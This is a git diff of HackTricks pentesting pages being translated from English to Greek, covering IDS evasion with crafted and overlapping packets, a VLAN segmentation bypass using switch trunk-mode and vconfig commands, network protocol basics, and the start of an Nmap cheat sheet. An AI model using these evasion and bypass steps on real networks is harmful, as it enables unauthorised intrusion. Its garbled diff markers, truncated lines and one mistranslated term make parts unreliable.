Στείλτε ένα πακέτο με τη σημαία RST και ένα μη έγκυρο checksum, έτσι ώστε το IPS/IDS να πιστέψει ότι αυτό το πακέτο θα κλείσει τη σύνδεση, αλλά ο τελικός υπολογιστής θα απορρίψει το πακέτο επειδή το checksum είναι μη έγκυρο.
|
||||
|
||||
# **Uncommon IP and TCP options**
|
||||
# **Ασυνήθιστες επιλογές IP και TCP**
|
||||
|
||||
A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt.
|
||||
Ένας αισθητήρας μπορεί να αγνοεί πακέτα με ορισμένες σημαίες και επιλογές που έχουν οριστεί στους κεφαλίδες IP και TCP, ενώ ο προορισμός τους δέχεται το πακέτο κατά την παραλαβή του.
|
||||
|
||||
# **Overlapping**
|
||||
# **Επικάλυψη**
|
||||
|
||||
It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\
|
||||
Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes.
|
||||
Είναι δυνατόν όταν κατακερματίζετε ένα πακέτο, να υπάρχει κάποια μορφή επικάλυψης μεταξύ των πακέτων (ίσως τα πρώτα 8 byte του πακέτου 2 να επικαλύπτονται με τα τελευταία 8 byte του πακέτου 1, και τα τελευταία 8 byte του πακέτου 2 να επικαλύπτονται με τα πρώτα 8 byte του πακέτου 3). Στη συνέχεια, εάν το IDS/IPS τα επανασυνθέσει με διαφορετικό τρόπο από τον τελικό υπολογιστή, θα ερμηνευθεί ένα διαφορετικό πακέτο.\
|
||||
Ή ίσως, να έρθουν 2 πακέτα με την ίδια μετατόπιση και ο υπολογιστής να πρέπει να αποφασίσει ποιο θα πάρει.
|
||||
|
||||
* **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one.
|
||||
* **Linux**: Like BSD, but it prefers the last packet with the same offset.
|
||||
* **First** (Windows): First value that comes, value that stays.
|
||||
* **Last** (cisco): Last value that comes, value that stays.
|
||||
* **BSD**: Προτίμηση για πακέτα με μικρότερη _μετατόπιση_. Για πακέτα με την ίδια μετατόπιση, θα επιλέξει το πρώτο.
|
||||
* **Linux**: Όπως το BSD, αλλά προτιμά το τελευταίο πακέτο με την ίδια μετατόπιση.
|
||||
* **Πρώτο** (Windows): Πρώτη τιμή που έρχεται, τιμή που μένει.
|
||||
* **Τελευταίο** (cisco): Τελευταία τιμή που έρχεται, τιμή που μένει.
|
||||
|
||||
# Tools
|
||||
# Εργαλεία
|
||||
|
||||
* [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔ
|
||||
|
|
|
@ -1,45 +1,34 @@
|
|||
# Lateral VLAN Segmentation Bypass
|
||||
# Διάβασε το βιβλίο "Χάκερ από το μηδέν" και γίνε ειδικός στο χάκινγκ στο AWS με το htARTE (HackTricks AWS Red Team Expert)!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Εργάζεσαι σε μια εταιρεία κυβερνοασφάλειας; Θέλεις να δεις την εταιρεία σου να διαφημίζεται στο HackTricks; Ή θέλεις να έχεις πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσεις το HackTricks σε μορφή PDF; Ελέγξτε τα [ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ](https://github.com/sponsors/carlospolop)!
|
||||
* Ανακαλύψτε [την Οικογένεια PEASS](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [NFTs](https://opensea.io/collection/the-peass-family)
|
||||
* Αποκτήστε το [επίσημο PEASS & HackTricks swag](https://peass.creator-spring.com)
|
||||
* Εγγραφείτε στην [💬](https://emojipedia.org/speech-balloon/) [ομάδα Discord](https://discord.gg/hRep4RUj7f) ή στην [ομάδα telegram](https://t.me/peass) ή ακολουθήστε με στο Twitter 🐦[@carlospolopm](https://twitter.com/hacktricks_live).
|
||||
* Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (**for further details check [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
Εάν υπάρχει άμεση πρόσβαση σε ένα switch, μπορεί να παρακαμφθεί η διαχωρισμένη VLAN. Αυτό περιλαμβάνει την αναδιαμόρφωση της συνδεδεμένης θύρας σε λειτουργία trunk, τη δημιουργία εικονικών διεπαφών για τις επιθυμητές VLAN και την ορισμό διευθύνσεων IP, είτε δυναμικά (DHCP) είτε στατικά, ανάλογα με το σενάριο (**για περισσότερες λεπτομέρειες δείτε [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Initially, identification of the specific connected port is required. This can typically be accomplished through CDP messages, or by searching for the port via the **include** mask.
|
||||
|
||||
**If CDP is not operational, port identification can be attempted by searching for the MAC address**:
|
||||
Αρχικά, απαιτείται η εντοπισμός της συγκεκριμένης συνδεδεμένης θύρας. Αυτό μπορεί συνήθως να επιτευχθεί μέσω μηνυμάτων CDP ή αναζητώντας τη θύρα μέσω της μάσκας **include**.
|
||||
|
||||
**Εάν το CDP δεν είναι λειτουργικό, μπορεί να προσπαθηθεί η εντοπισμός της θύρας μέσω της διεύθυνσης MAC**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
|
||||
Prior to switching to trunk mode, a list of existing VLANs should be compiled, and their identifiers determined. These identifiers are then assigned to the interface, enabling access to various VLANs through the trunk. The port in use, for instance, is associated with VLAN 10.
|
||||
|
||||
Πριν από τη μετάβαση σε λειτουργία trunk, πρέπει να συγκεντρωθεί μια λίστα με τις υπάρχουσες VLAN και να προσδιοριστούν οι αναγνωριστικοί τους. Αυτοί οι αναγνωριστικοί αντιστοιχίζονται στη διεπαφή, επιτρέποντας την πρόσβαση σε διάφορες VLAN μέσω του trunk. Για παράδειγμα, η χρησιμοποιούμενη θύρα συσχετίζεται με τη VLAN 10.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
|
||||
**Transitioning to trunk mode entails entering interface configuration mode**:
|
||||
|
||||
**Η μετάβαση στη λειτουργία trunk περιλαμβάνει την είσοδο στη λειτουργία διαμόρφωσης διεπαφής**:
|
||||
```
|
||||
SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
Η μετάβαση στη λειτουργία τροφοδοσίας θα διακόψει προσωρινά τη συνδεσιμότητα, αλλά αυτό μπορεί να αποκατασταθεί αργότερα.
|
||||
|
||||
Switching to trunk mode will temporarily disrupt connectivity, but this can be restored subsequently.
|
||||
|
||||
Virtual interfaces are then created, assigned VLAN IDs, and activated:
|
||||
|
||||
Στη συνέχεια δημιουργούνται εικονικές διεπαφές, ανατίθενται αναγνωριστικά VLAN και ενεργοποιούνται:
|
||||
```bash
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
|
@ -50,38 +39,39 @@ sudo ifconfig eth0.20 up
|
|||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
```
|
||||
|
||||
Subsequently, an address request is made via DHCP. Alternatively, in cases where DHCP is not viable, addresses can be manually configured:
|
||||
|
||||
Στη συνέχεια, γίνεται μια αίτηση διεύθυνσης μέσω του πρωτοκόλλου DHCP. Εναλλακτικά, σε περιπτώσεις όπου το DHCP δεν είναι εφικτό, οι διευθύνσεις μπορούν να ρυθμιστούν χειροκίνητα:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Παράδειγμα για τη χειροκίνητη ρύθμιση ενός στατικού διεύθυνσης IP σε μια διεπαφή (VLAN 10):
|
||||
|
||||
Example for manually setting a static IP address on an interface (VLAN 10):
|
||||
```plaintext
|
||||
sudo ifconfig eth0.10 192.168.1.100 netmask 255.255.255.0 up
|
||||
```
|
||||
|
||||
Σημείωση: Βεβαιωθείτε ότι η διεπαφή που αναφέρεται (στην περίπτωσή μας, `eth0.10`) είναι η σωστή για την VLAN 10. Επίσης, προσαρμόστε τη διεύθυνση IP (`192.168.1.100`) και τη μάσκα υποδικτύου (`255.255.255.0`) σύμφωνα με τις ανάγκες σας.
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Η συνδεσιμότητα ελέγχεται με την εκκίνηση αιτημάτων ICMP στις προεπιλεγμένες πύλες για τις VLAN 10, 20, 50 και 60.
|
||||
|
||||
Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60.
|
||||
Τελικά, αυτή η διαδικασία επιτρέπει την παράκαμψη της διαχωριστικής λειτουργίας των VLAN, διευκολύνοντας έτσι την απεριόριστη πρόσβαση σε οποιοδήποτε δίκτυο VLAN και δημιουργώντας τις προϋποθέσεις για επόμενες ενέργειες.
|
||||
|
||||
Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,78 +1,39 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## Multicast DNS (mDNS)
|
||||
|
||||
The **mDNS** protocol is designed for IP address resolution within small, local networks without a dedicated name server. It operates by multicasting a query within the subnet, prompting the host with the specified name to respond with its IP address. All devices in the subnet can then update their mDNS caches with this information.
|
||||
Το πρωτόκολλο **mDNS** σχεδιάστηκε για την ανάλυση της διεύθυνσης IP εντός μικρών, τοπικών δικτύων χωρίς αφιερωμένο διακομιστή ονομάτων. Λειτουργεί με την αποστολή ενός ερωτήματος πολυεκπομπής εντός του υποδικτύου, προκαλώντας τον υπολογιστή με το συγκεκριμένο όνομα να απαντήσει με τη διεύθυνση IP του. Όλες οι συσκευές στο υποδίκτυο μπορούν στη συνέχεια να ενημερώσουν τις μνήμες προσωρινής αποθήκευσης mDNS με αυτές τις πληροφορίες.
|
||||
|
||||
Key points to note:
|
||||
- **Domain Name Relinquishment**: A host can release its domain name by sending a packet with a TTL of zero.
|
||||
- **Usage Restriction**: mDNS typically resolves names ending in **.local** only. Conflicts with non-mDNS hosts in this domain require network configuration adjustments.
|
||||
- **Networking Details**:
|
||||
- Ethernet multicast MAC addresses: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`.
|
||||
- IP addresses: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`.
|
||||
- Operates over UDP port 5353.
|
||||
- mDNS queries are confined to the local network and do not cross routers.
|
||||
Σημεία που πρέπει να σημειωθούν:
|
||||
- **Αποχώρηση Ονόματος Τομέα**: Ένας υπολογιστής μπορεί να απελευθερώσει το όνομα τομέα του αποστέλλοντας ένα πακέτο με TTL μηδέν.
|
||||
- **Περιορισμός Χρήσης**: Το mDNS αναλύει συνήθως μόνο ονόματα που τελειώνουν σε **.local**. Συγκρούσεις με μη-mDNS υπολογιστές σε αυτόν τον τομέα απαιτούν προσαρμογές στη διαμόρφωση του δικτύου.
|
||||
- **Λεπτομέρειες Δικτύου**:
|
||||
- Διευθύνσεις MAC πολυεκπομπής Ethernet: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`.
|
||||
- Διευθύνσεις IP: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`.
|
||||
- Λειτουργεί μέσω της θύρας UDP 5353.
|
||||
- Τα ερωτήματα mDNS περιορίζονται στο τοπικό δίκτυο και δεν διασχίζουν δρομολογητές.
|
||||
|
||||
## DNS-SD (Service Discovery)
|
||||
|
||||
DNS-SD is a protocol for discovering services on a network by querying specific domain names (e.g., `_printers._tcp.local`). A response includes all related domains, such as available printers in this case. A comprehensive list of service types can be found [here](http://www.dns-sd.org/ServiceTypes.html).
|
||||
Το DNS-SD είναι ένα πρωτόκολλο για την ανακάλυψη υπηρεσιών σε ένα δίκτυο μέσω της ανάκτησης συγκεκριμένων ονομάτων τομέα (π.χ. `_printers._tcp.local`). Μια απάντηση περιλαμβάνει όλους τους σχετικούς τομείς, όπως διαθέσιμους εκτυπωτές σε αυτήν την περίπτωση. Μια πλήρης λίστα των τύπων υπηρεσιών μπορεί να βρεθεί [εδώ](http://www.dns-sd.org/ServiceTypes.html).
|
||||
|
||||
## SSDP (Simple Service Discovery Protocol)
|
||||
|
||||
SSDP facilitates the discovery of network services and is primarily utilized by UPnP. It's a text-based protocol using UDP over port 1900, with multicast addressing. For IPv4, the designated multicast address is `239.255.255.250`. SSDP's foundation is [HTTPU](https://en.wikipedia.org/wiki/HTTPU), an extension of HTTP for UDP.
|
||||
|
||||
|
||||
## Web Service for Devices (WSD)
|
||||
Devices connected to a network can identify available services, like printers, through the Web Service for Devices (WSD). This involves broadcasting UDP packets. Devices seeking services send requests, while service providers announce their offerings.
|
||||
|
||||
## OAuth 2.0
|
||||
OAuth 2.0 is a protocol facilitating secure, selective sharing of user information between services. For instance, it enables services to access user data from Google without multiple logins. The process involves user authentication, authorization by the user, and token generation by Google, allowing service access to the specified user data.
|
||||
|
||||
## RADIUS
|
||||
RADIUS (Remote Authentication Dial-In User Service) is a network access protocol primarily used by ISPs. It supports authentication, authorization, and accounting. User credentials are verified by a RADIUS server, potentially including network address verification for added security. Post-authentication, users receive network access and their session details are tracked for billing and statistical purposes.
|
||||
|
||||
## SMB and NetBIOS
|
||||
|
||||
### SMB (Server Message Block)
|
||||
SMB is a protocol for sharing files, printers, and ports. It operates directly over TCP (port 445) or via NetBIOS over TCP (ports 137, 138). This dual compatibility enhances connectivity with various devices.
|
||||
|
||||
### NetBIOS (Network Basic Input/Output System)
|
||||
NetBIOS manages network sessions and connections for resource sharing. It supports unique names for devices and group names for multiple devices, enabling targeted or broadcast messaging. Communication can be connectionless (no acknowledgment) or connection-oriented (session-based). While NetBIOS traditionally operates over protocols like IPC/IPX, it's commonly used over TCP/IP. NetBEUI, an associated protocol, is known for its speed but was also quite verbose due to broadcasting.
|
||||
|
||||
## LDAP (Lightweight Directory Access Protocol)
|
||||
LDAP is a protocol enabling the management and access of directory information over TCP/IP. It supports various operations for querying and modifying directory information. Predominantly, it's utilized for accessing and maintaining distributed directory information services, allowing interaction with databases designed for LDAP communication.
|
||||
|
||||
## Active Directory (AD)
|
||||
Active Directory is a network-accessible database containing objects like users, groups, privileges, and resources, facilitating centralized management of network entities. AD organizes its data into a hierarchical structure of domains, which can encompass servers, groups, and users. Subdomains allow further segmentation, each potentially maintaining its own server and user base. This structure centralizes user management, granting or restricting access to network resources. Queries can be made to retrieve specific information, like contact details, or to locate resources, like printers, within the domain.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
Το SSDP διευκολύνει την ανακάλυψη υπηρεσιών δικτύου και χρησιμοποιείται κυρίως από το UPnP. Είναι ένα πρωτόκολλο κειμένου που χρησιμοποιεί το UDP μέσω της θύρας 1900, με πολυεκπομπή διευθυνσιοδότησης. Για το IPv4, η καθορισμένη διεύθυνση πολυεκπομπής είναι `239.255.255.250`. Το SSDP βασίζεται στο [HTTPU](https://en.wikipedia.org/wiki/HTTPU), μια επέκταση του HTTP για το UDP.
|
||||
|
||||
|
||||
## Υπηρεσία Ιστού για Συσκευές (WSD)
|
||||
Οι συσκευές που είναι συνδεδεμένες σε ένα δίκτυο μπορούν να ανιχνεύουν διαθέσιμες υπηρεσίες, όπως εκτυπωτές, μέσω της Υπηρεσίας Ιστού για Συσκευές (WSD). Αυτό περιλαμβάνει την εκπομπή πακέτων UDP. Οι συσκευές που αναζητούν
|
||||
|
|
|
@ -1,242 +1,150 @@
|
|||
# Nmap Summary (ESP)
|
||||
# Σύνοψη Nmap (ESP)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
```
|
||||
nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
||||
```
|
||||
## Παράμετροι
|
||||
|
||||
## Parameters
|
||||
### Διευθύνσεις IP για σάρωση
|
||||
|
||||
### IPs to scan
|
||||
* **`<ip>,<net/mask>`:** Δηλώνει τις διευθύνσεις IP απευθείας
|
||||
* **`-iL <ips_file>`:** Λίστα_IPs
|
||||
* **`-iR <number>`**: Αριθμός τυχαίων IPs, μπορείτε να αποκλείσετε πιθανά IPs με `--exclude <Ips>` ή `--excludefile <file>`.
|
||||
|
||||
* **`<ip>,<net/mask>`:** Indicate the ips directly
|
||||
* **`-iL <ips_file>`:** list\_IPs
|
||||
* **`-iR <number>`**: Number of random Ips, you can exclude possible Ips with `--exclude <Ips>` or `--excludefile <file>`.
|
||||
### Ανακάλυψη εξοπλισμού
|
||||
|
||||
### Equipment discovery
|
||||
Από προεπιλογή, το Nmap ξεκινά μια φάση ανακάλυψης που αποτελείται από: `-PA80 -PS443 -PE -PP`
|
||||
|
||||
By default Nmap launches a discovery phase consisting of: `-PA80 -PS443 -PE -PP`
|
||||
* **`-sL`**: Δεν είναι επεμβατικό, καταγράφει τους στόχους κάνοντας αιτήσεις **DNS** για την ανάλυση ονομάτων. Είναι χρήσιμο για να γνωρίζουμε αν, για παράδειγμα, όλες οι διευθύνσεις IP www.prueba.es/24 είναι οι στόχοι μας.
|
||||
